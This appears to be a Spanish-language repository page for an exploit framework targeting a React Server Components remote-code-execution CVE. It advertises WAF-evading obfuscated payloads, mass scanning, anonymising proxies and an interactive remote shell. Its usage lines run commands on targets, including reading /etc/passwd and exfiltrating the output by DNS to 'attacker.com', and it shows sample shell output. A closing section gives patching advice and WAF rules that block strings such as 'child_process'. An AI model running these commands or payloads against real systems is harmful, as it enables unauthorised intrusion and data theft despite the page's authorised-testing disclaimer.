Volver a actualizaciones
ActualizadaSep 3, 2026

CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit — Actualizado!

Escáner avanzado de RCE para React Server Components para CVE-2025-55182. Características: fingerprinting multietapa, verificación de vulnerabilidades, exfiltración por DNS, shell interactivo, ofuscación de payloads y generación de informes profesionales (JSON/HTML/PDF). Solo para pruebas autorizadas.

Compartir

🔐 ReactRCE-Scanner

CVE-2025-55182 — Framework avanzado de explotación y evaluación de RCE en React Server Components

Version CVE CVSS Python License

Author PRs Welcome Downloads


📑 Tabla de contenidos


Esta herramienta está diseñada exclusivamente con fines EDUCATIVOS y de PRUEBAS DE SEGURIDAD AUTORIZADAS. La utilización no autorizada de este software contra objetivos sin consentimiento previo por escrito constituye una violación de las leyes internacionales de delitos informáticos, incluida la Ley de Fraude y Abuso Informático (CFAA), los mandatos del RGPD y los acuerdos estándar de términos de servicio. El autor y los colaboradores declinan toda responsabilidad por cualquier uso indebido, operación ilegal o daño consecuente derivado de este programa. Proceda estrictamente bajo su propio riesgo.


📋 Descripción general

ReactRCE-Scanner es un framework de evaluación y verificación de seguridad de nivel empresarial diseñado específicamente para CVE-2025-55182 [1], una vulnerabilidad crítica de ejecución remota de código (RCE) que afecta a React Server Components en las versiones 19.0.0 a 19.2.0.

El framework cierra la brecha entre la investigación teórica de vulnerabilidades y la validación práctica de seguridad. Al incorporar fingerprinting multietapa, rigurosa reducción de falsos positivos, ofuscación avanzada de payloads y generación automatizada de informes en múltiples formatos, proporciona a los ingenieros de seguridad capacidades de diagnóstico precisas.

UsoResultados del escaneo

🎯 Capacidades clave

Categoría de funciónAspecto destacado de la implementaciónEstado operativo
Fingerprinting inteligenteDetección de framework y versión multifuente con algoritmos de puntuación de confianza.
Verificación multietapaPipeline de validación de 5 etapas diseñado para eliminar sistemáticamente los falsos positivos.
Generación de payloadsConstructor de payloads ofuscados compatible con exfiltración DNS y multicodificación.
Shell interactivaEjecución de comandos pseudointeractiva en tiempo real y acceso a shell en objetivos verificados.
Informes completosGeneración automatizada de informes en formatos JSON, HTML, PDF y Markdown.
Exfiltración DNSExfiltración fuera de banda de la salida de comandos mediante el manejo seguro de consultas DNS.
Motor de concurrenciaArquitectura de escaneo multihilo de alto rendimiento para grandes superficies de ataque.
Integración de proxyCompatibilidad con proxy HTTP/HTTPS y SOCKS para tráfico de evaluación anonimizado.

🚀 Guía de inicio rápido

Instalación

Clone el repositorio e inicialice el entorno utilizando el script de configuración automatizado o la instalación manual de dependencias:

# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit.git
cd CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit

# Configure execution permissions and run setup script
chmod +x setup.sh
./setup.sh

# Alternatively, install core Python dependencies manually
pip install -r requirements.txt

Referencia básica de comandos

El framework opera mediante una arquitectura CLI modular que admite validación de un solo objetivo, escaneo masivo desde listas de archivos, apertura de shell interactiva y generación de informes de cumplimiento.

# 1. Perform a vulnerability scan against a single target
python exploit.py -t https://target.com -m scan

# 2. Execute bulk scans from a target list with JSON export
python exploit.py -f targets.txt -m scan -o report.json

# 3. Execute a single command on a verified vulnerable endpoint
python exploit.py -t https://target.com -m exploit -c "whoami"

# 4. Initiate an interactive remote shell session
python exploit.py -t https://target.com -m shell

# 5. Execute commands with out-of-band DNS exfiltration
python exploit.py -t https://target.com -m exploit -c "cat /etc/passwd" -d attacker.com

# 6. Compile a professional executive assessment report in PDF format
python exploit.py -f targets.txt -o assessment_report.pdf --format pdf

🔬 Arquitectura y análisis detallado de funciones

1. Motor de fingerprinting inteligente

El framework realiza un reconocimiento profundo antes de la entrega del payload. Analiza múltiples campos de encabezados HTTP (X-Powered-By, Next-Action, RSC), metaetiquetas estructurales HTML (data-reactroot, __NEXT_DATA__), recursos de compilación estáticos y paquetes de código fuente JavaScript [2] [3].

Las puntuaciones de confianza se clasifican en cuatro niveles:

  • CRÍTICA (95%+): Múltiples indicadores ortogonales confirman versiones vulnerables del entorno de ejecución de React Server Components.

  • ALTA (75–95%): Indicadores estructurales sólidos identificados con coincidencia exacta de versión.

  • MEDIA (50–75%): Marcadores parciales del framework presentes; se requiere verificación manual.

  • BAJA (<50%): Heurísticas débiles detectadas; alta probabilidad de falso positivo.

2. Flujo de trabajo de verificación multietapa

Para mantener la integridad operativa y evitar interrupciones no intencionadas del servicio, los payloads pasan por un pipeline de validación estricto antes de que se habilite cualquier fase de explotación.

Target URL / Endpoint
       │
       ▼
[Stage 1] Framework & Header Detection
       │
       ▼
[Stage 2] Component Version Analysis
       │
       ▼
[Stage 3] Protocol Compatibility Check
       │
       ▼
[Stage 4] Non-Destructive Safe Validation Request
       │
       ▼
[Stage 5] Statistical Confidence Scoring
       │
       ▼
Vulnerability Assessment Decision

3. Ofuscación de payloads y evasión

Para probar los controles defensivos y los firewalls de aplicaciones web (WAF), el framework incorpora un generador avanzado de payloads compatible con:

  • Esquemas de codificación: Transformaciones Base64, hexadecimal y octal.

  • Ofuscación estructural: División dinámica de cadenas, inyección de código basura y mapeo alternativo del método require.

  • Exfiltración fuera de banda (OOB): Túnel seguro de datos a través de consultas DNS cuando los canales de respuesta directa están restringidos.

4. Shell de comandos interactiva

Tras el establecimiento exitoso de la sesión, los operadores pueden invocar un entorno de shell interactiva para la enumeración posterior a la verificación.

$ python exploit.py -t https://target.com -m shell
[*] Initializing interactive shell session against https://target.com
[!] Type 'exit' to terminate the session.

shell> whoami
www-data

shell> uname -a
Linux ip-10-0-1-15 6.8.0-1018-aws #20-Ubuntu SMP PREMO__X64 x86_64 GNU/Linux

shell> exit
[*] Terminating session and cleaning up temporary artifacts...

5. Suite de informes profesionales

Los informes pueden generarse en múltiples formatos estandarizados (JSON, HTML, PDF, Markdown) que contienen resúmenes ejecutivos, métricas de riesgo, hallazgos técnicos detallados, cronologías de evidencia y desgloses de puntuación CVSS v3.1 [4].


⚙️ Referencia de configuración

Los parámetros avanzados se gestionan a través del archivo de configuración config.yaml. A continuación se muestra una plantilla de configuración de producción:

# ReactRCE-Scanner Production Configuration

timeout: 30
threads: 20
max_retries: 3
proxy: null

user_agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"

headers:
  Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"
  Accept-Language: "en-US,en;q=0.5"
  Accept-Encoding: "gzip, deflate, br"

output:
  format: "json"
  directory: "./reports"

logging:
  level: "INFO"
  file: "exploit.log"

exploit:
  obfuscate: true
  encoding: "base64"
  timeout: 60

scanning:
  concurrent_scans: 20
  rate_limit: 0.5
  timeout: 30

fingerprint:
  enable_deep_analysis: true
  follow_redirects: true
  analyze_assets: true

Ejecute los escaneos haciendo referencia al archivo de configuración personalizado mediante:

python exploit.py -f targets.txt -C config.yaml -o report.json

🧪 Suite de pruebas automatizadas

El repositorio incluye una completa suite de pruebas unitarias y de integración para garantizar la estabilidad de los módulos entre versiones.

# Execute the complete automated test suite
python exploit.py --test

# Expected Output:
Running test suite...
✓ test_fingerprinting passed
✓ test_payload_generation passed
✓ test_config_loading passed
✓ test_verification passed
✓ test_report_generation passed

Tests passed: 5/5

Para los colaboradores que configuren un entorno de desarrollo local:

git clone https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit.git
cd CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit
pip install -r requirements-dev.txt

# Run pytest unit tests
pytest tests/

# Format and lint codebase
black exploit.py
flake8 exploit.py

🛡️ Remediación y mitigación

Acciones administrativas inmediatas

  1. Parcheo: Actualice los paquetes de React inmediatamente a la versión 19.2.1 o superior. Actualice las instancias de Next.js a la versión 15.0.4+ [5].

  2. Monitorización: Inspeccione los registros de acceso HTTP en busca de valores sospechosos del encabezado Next-Action y referencias de prototipo no validadas (__proto__, constructor) [6].

  3. Refuerzo de red: Restrinja las consultas DNS recursivas salientes desde los servidores de aplicaciones para evitar la exfiltración de datos.

Reglas WAF de referencia (Nginx / OpenResty)

# Block prototype pollution and remote execution attempts in request bodies
if ($request_body ~* "__proto__") {
    return 403;
}
if ($request_body ~* "constructor") {
    return 403;
}
if ($request_body ~* "child_process") {
    return 403;
}
if ($request_body ~* "execSync") {
    return 403;
}

📚 Referencias

  1. National Vulnerability Database — CVE-2025-55182 Advisory

  2. React Security Documentation & Advisories

  3. Next.js Security Bulletins

  4. FIRST CVSS v3.1 Specification & Calculator

  5. OWASP Guide to Prototype Pollution Vulnerabilities

  6. Node.js Child Process Security Best Practices


🤝 Contribución y comunidad

Las contribuciones, solicitudes de funciones e informes de errores son bienvenidos. Por favor, siga el flujo de trabajo estándar de fork-and-pull request:

  1. Haga un fork del repositorio (https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit/fork)

  2. Cree su rama de función (git checkout -b feature/AdvancedScannerModule)

  3. Confirme sus cambios (git commit -m 'Add advanced scanning heuristic')

  4. Envíe a la rama (git origin push feature/AdvancedScannerModule)

  5. Abra una Pull Request


📜 Licencia y autor

Distribuido bajo la Licencia MIT. Consulte LICENSE para más información.

Creado con precisión por CerberusMrXi Última actualización: agosto de 2026

Categorías